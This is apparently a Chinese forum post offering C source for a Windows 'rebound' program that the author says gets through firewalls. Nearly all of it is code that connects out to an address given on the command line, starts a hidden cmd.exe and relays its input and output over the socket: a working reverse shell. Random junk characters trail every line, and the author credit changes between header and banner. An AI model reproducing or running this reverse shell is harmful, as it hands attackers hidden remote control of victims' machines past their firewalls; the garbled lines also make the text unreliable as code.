这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 oUlVI*~ND
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/* ==============================
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Rebound port in Windows NT xJ.M;SF4
By wind,2006/7 utV_W&
===============================*/ TM%%O :3
#include }N52$L0[
#include ^iV)MTT
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#pragma comment(lib,"wsock32.lib") X"%gQ.1|{j
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void OutputShell(); ;aVZ"~a+\
SOCKET sClient; 9hyn`u.
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ;RlxD 4p
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void main(int argc,char **argv) CU!Dhm/U
{ AA>P`C$&M
WSADATA stWsaData; 2D5StCF$O
int nRet; La[V$+Y
SOCKADDR_IN stSaiClient,stSaiServer; 3ckclO\|>
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if(argc != 3) FGzwhgy
{ 0w7DsPdS
printf("Useage:\n\rRebound DestIP DestPort\n"); ;!Fn1|)
return; q!@4~plz
} x]j W<A
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WSAStartup(MAKEWORD(2,2),&stWsaData); ,PDQzJY
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); '~ 47)fN
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stSaiClient.sin_family = AF_INET; <1TAw.
stSaiClient.sin_port = htons(0); <F'\lA9
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); J<lW<:!3]
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) uPvEwq*
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{ <C*hokqqP
printf("Bind Socket Failed!\n"); {{!-Gr
return; ~"A0Rs=
} r9XZ(0/p
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stSaiServer.sin_family = AF_INET; :k#HW6p
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); #<xm.
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ^<6[.)
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) DHRlWQox
{ -Lg
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printf("Connect Error!"); f6p/5]=J26
return; .6J$,.Ig
} -nwypu
OutputShell(); F"mmLao
} %"-5 <6d
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void OutputShell() 5bb(/YtFy
{ 5mR 1@
char szBuff[1024]; _yT Ed"$
SECURITY_ATTRIBUTES stSecurityAttributes; '5tCz9}Y
OSVERSIONINFO stOsversionInfo; ?V=CB,^
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; GLODVcjf
STARTUPINFO stStartupInfo; !
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char *szShell; 1Z&(6cDY8M
PROCESS_INFORMATION stProcessInformation; TcoB,Kdce
unsigned long lBytesRead; glw+l'@
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ,]D,P
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); =EsavN
stSecurityAttributes.lpSecurityDescriptor = 0; \{YU wKK/A
stSecurityAttributes.bInheritHandle = TRUE; s#GLJl\E_P
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); G+m }MOQP7
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); rmOj
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); u1.BN>G
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~>XxGjxe
stStartupInfo.wShowWindow = SW_HIDE; eJX#@`K
stStartupInfo.hStdInput = hReadPipe; &M[?h}B6
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; R@2X3s:
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GetVersionEx(&stOsversionInfo); jb)ZLA;L_c
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switch(stOsversionInfo.dwPlatformId) V.2_i*
{ e}W)LPR!
case 1: H"F29Pu2
szShell = "command.com"; mp3s-YfRc
break; |l!aB(NW
default: e#q}F>/L
szShell = "cmd.exe"; P2nu;I_&
break; Yr|4Fl~U
} !Z6{9sKR=]
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); d"Y{UE
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send(sClient,szMsg,77,0); 6w7 7YTJ
while(1) %jM,W}2
{ 3$JoDL(Z
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); @%SQFu@FJ
if(lBytesRead) ~QVH<`sn
{ 6H|S;K+
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); { xB3S_,8
send(sClient,szBuff,lBytesRead,0); jj>]9z
} Ir]\|t
else g\AY|;T
{ M3Kfd
lBytesRead=recv(sClient,szBuff,1024,0); b`_Q8 J
if(lBytesRead<=0) break; B7%U_F|m
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); FgO)DQm
} #fM'>$N
} IGN1gs
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return; -F>jIgeC2v
}